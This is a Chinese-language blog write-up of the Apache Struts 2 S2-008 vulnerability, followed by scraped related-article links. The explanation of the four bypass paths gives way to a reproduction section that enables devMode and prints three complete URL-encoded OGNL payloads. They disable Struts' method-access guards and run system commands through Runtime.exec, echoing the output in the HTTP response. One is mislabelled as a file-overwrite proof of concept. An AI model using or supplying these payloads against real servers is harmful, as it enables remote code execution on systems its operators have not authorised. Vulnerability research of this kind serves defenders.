漏洞简介

为了防止攻击者在参数内调用任意方法,默认情况下将标志xwork.MethodAccessor.denyMethodExecution设置为true,并将SecurityMemberAccess字段allowStaticMethodAccess设置为false。另外,为了防止访问上下文变量,自Struts 2.2.1.1开始,在ParameterInterceptor中应用了针对参数名称的改进字符白名单:acceptedParamNames = "[a-zA-Z0-9\.][()_']+";

在某些情况下,可以绕过这些限制以执行恶意Java代码。

1,在Struts <= 2.2.3中执行远程命令(ExceptionDelegator)即S2-007

将参数值应用于属性时发生异常时,该值将作为OGNL表达式求值。例如,在将字符串值设置为整数属性时会发生这种情况。由于未过滤值,因此攻击者可以滥用OGNL语言的功能来执行任意Java代码,从而导致远程命令执行。已报告此问题(https://issues.apache.org/jira/browse/WW-3668),该问题已在Struts 2.2.3.1中修复。但是,执行任意Java代码的能力已被忽略。

2,在Struts <= 2.3.1(CookieInterceptor)中执行远程命令

参数名称的字符白名单不适用于CookieInterceptor。将Struts配置为处理cookie名称时,攻击者可以执行对Java函数具有静态方法访问权限的任意系统命令。因此,可以在请求中将标志allowStaticMethodAccess设置为true。虽然cookiename没有做特殊字符的限制,会被当作ognl代码执行。不过java的webserver(tomcat等)在cookiename中禁掉了很多非主流字符,该漏洞局限性较大,危害较小。

3,Struts <= 2.3.1中的任意文件覆盖(ParameterInterceptor)

由于Struts 2.2.3.1禁止在参数内访问标志allowStaticMethodAccess,因此攻击者仍然可以仅使用String类型的一个参数访问公共构造函数以创建新的Java对象,并仅使用String类型的一个参数访问其setter。例如,在创建和覆盖任意文件时可能会滥用此权限。要将禁止的字符注入文件名,可以使用未初始化的字符串属性。

4,在Struts <= 2.3.17中远程执行命令(DebuggingInterceptor)

尽管本身不是安全漏洞,但请注意,以开发人员模式运行并使用DebuggingInterceptor的应用程序也容易执行远程命令。尽管应用程序在生产过程中绝不应在开发人员模式下运行,但开发人员应意识到,这样做不仅会带来性能问题(如文档所述),而且还会对安全性造成严重影响。

影响版本

Struts 2.0.0 - Struts 2.3.17

漏洞复现

环境准备

Windows 7 64bit(内含XAMPP)

Struts2.1.6

★首先打开xampp安装目录下的stryts.xml文件,例如:C:\xampp\tomcat\webapps\struts2-showcase-2.1.6\WEB-INF\classes,保证文件内有如下语句:<constantname="struts.devMode" value="true" />

说明:

​ Struts2框架存在一个devmode模式,方便开发人员调试程序,但是默认devmode是不开启的,如果想要使用,需要手动修改参数。

任意文件覆盖POC

//利用方式尚且未知
exp.action?name=(%23context["xwork.MethodAccessor.denyMethodExecution"]=+new+java.lang.Boolean(false),+%23_memberAccess["allowStaticMethodAccess"]=true,+%23a=@java.lang.Runtime@getRuntime().exec('ipconfig').getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)('meh')]

远程执行命令POC-1

debug=command&expression=%23context%5b%22xwork.MethodAccessor.denyMethodExecution%22%5d%3dfalse%2c%23f%3d%23_memberAccess.getClass%28%29.getDeclaredField%28%22allowStaticMethodAccess%22%29%2c%23f.setAccessible%28true%29%2c%23f.set%28%23_memberAccess%2ctrue%29%2c%23a%3d@java.lang.Runtime@getRuntime%28%29.exec%28%22whoami%22%29.getInputStream%28%29%2c%23b%3dnew java.io.InputStreamReader%28%23a%29%2c%23c%3dnew java.io.BufferedReader%28%23b%29%2c%23d%3dnew char%5b50000%5d%2c%23c.read%28%23d%29%2c%23genxor%3d%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%2c%23genxor.println%28%23d%29%2c%23genxor.flush%28%29%2c%23genxor.close%28%29

远程执行命令POC-2(可直接回显)

debug=command&expression=(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27ipconfig%27%29.getInputStream%28%29%29)

结果截图

说明:本专题只为学术交流,请所有读者切勿利用以上资源用于非法犯罪活动,有任何问题欢迎联系我的邮箱1294553086@qq.com。

部分文字性说明来源于网上资源,若有侵权请发邮件到1294553086@qq.com。

Struts 2 漏洞专题 | S2-008的更多相关文章

  1. 极客技术专题【008期】:CSS3核心技术:选择器

    日期:2013-8-19  来源:GBin1.com 技术专题介绍 技术专题:CSS3核心技术:选择器 专题演讲稿:CSS3选择器 分享人:知名前端技术博客 - w3cplus.com 博主 - 大漠 ...

  2. Apache Struts 跨站脚本漏洞

    漏洞名称: Apache Struts 跨站脚本漏洞 CNNVD编号: CNNVD-201311-010 发布时间: 2013-11-04 更新时间: 2013-11-04 危害等级:    漏洞类型 ...

  3. Struts S2-052漏洞利用之Meterpreter(CVE-2017-9805)

    Struts S2-052漏洞爆出来已经快一周了,大家可能更想知道其危害~鸡肋? 这里就直接给出漏洞利用拿Meterpreter的过程,想了解更多的请参考其他文章,下面是实验演示部分.Struts S ...

  4. Struts S2-052漏洞利用

    昨天在FreeBuf上看到[9月6日更新]漏洞预警 | 高危Struts REST插件远程代码执行漏洞(S2-052) 然而一直复现不了,今天又试了下竟然成功了. 由于水表查的较严,就不冒险搞别人的服 ...

  5. Apache Struts最新漏洞 远程代码执行漏洞预警 2018年11月08日

    2018年11月8日,SINE安全监控检测中心,检测到Apache Struts官方更新了一个Struts漏洞补丁,这个漏洞是Apache Struts目前最新的漏洞,影响范围较广,低于Apache ...

  6. Apache Struts 2 漏洞汇总

    Apache Struts2 是一个基于MVC设计模式的Web应用框架,会对某些标签属性(比如 id)的属性值进行二次表达式解析,因此在某些场景下将可能导致远程代码执行. Struts2特征: 通过页 ...

  7. struts2漏洞复现分析合集

    struts2漏洞复现合集 环境准备 tomcat安装 漏洞代码取自vulhub,使用idea进行远程调试 struts2远程调试 catalina.bat jpda start 开启debug模式, ...

  8. 漏洞大爆光:QQ漏洞、飞秋漏洞、360浏览器劫持…

    随着互联网应用的高速发展,信息安全已深入到诸多领域,前段时间发生的"Struts 2"漏洞及"心脏出血"漏洞影响了二亿中国网民的信息安全.原因是程序猿缺少细致的 ...

  9. PJzhang:Lucifer1993的struts-scan漏洞全量检测工具

    猫宁!!! 参考链接: https://www.freebuf.com/sectool/149815.html 有关struts 2的漏洞测试工具,很多,不过有的已经很久没更新了,有的只是针对某一个s ...

随机推荐

  1. 洛谷 P4198 楼房重建

    思路 此题可转化为以下模型 给定序列\(a[1...n]\),支持单点修改,每次求区间单调栈大小 \(n,Q\le 10^5\) 区间单调栈是什么呢?对于一个区间,建立一个栈,首先将第一个元素入栈,从 ...

  2. Java自学-图形界面 容器

    Swing 的容器 JFrame和JDialog java的图形界面中,容器是用来存放 按钮,输入框等组件的. 窗体型容器有两个,一个是JFrame,一个是JDialog 步骤 1 : JFrame ...

  3. System.out.println()相关源码

    System.out.println是一个Java语句,一般情况下是将传递的参数,打印到控制台. System:是 java.lang包中的一个final类.根据javadoc,“java.lang. ...

  4. Android 内部存储读写介绍

    内部存储读写 内容介绍 Android系统允许应用程序创建仅能够自身访问的私有文件,文件保存在设备的内部存储器上,在Linux系统下的/data/data//files目录中 Android系统不仅支 ...

  5. 集中式版本管理系统 SVN使用

    SVN的使用 SVN的文件状态 黑色:正常的文件 黄色文件(在Android Stduio中颜色):被忽略的文件 红色:文件没有Add的新文件(没有加入版本控制subversion中) 绿色:新文件A ...

  6. js获取当前地址信息

    var url = window.location.href; //获取当前窗口的Url; 结果:http://localhost:61768/Home/Index?id=2&age=18 v ...

  7. CSS动画实例:Loading加载动画效果(一)

    一些网站或者APP在加载新东西的时候,往往会给出一个好看有趣的Loading图,大部分的Loading样式都可以使用CSS3制作出来,它不仅比直接使用gif图简单方便,还能节省加载时间和空间.下面介绍 ...

  8. JDK1.8源码学习-Object

    JDK1.8源码学习-Object 目录 一.方法简介 1.一个本地方法,主要作用是将本地方法注册到虚拟机中. private static native void registerNatives() ...

  9. keil5 使用JLink 向nrf52840DK 下载程序出现No Cortex-M SW Device Found

    今天打开52840 keil5 工程,下载程序无法下载成功,提示如下: 在Jlink 配置中(Option for target....-> Debug->Setting )SWDIO也无 ...

  10. 极简 Node.js 入门 - 3.2 文件读取

    极简 Node.js 入门系列教程:https://www.yuque.com/sunluyong/node 本文更佳阅读体验:https://www.yuque.com/sunluyong/node ...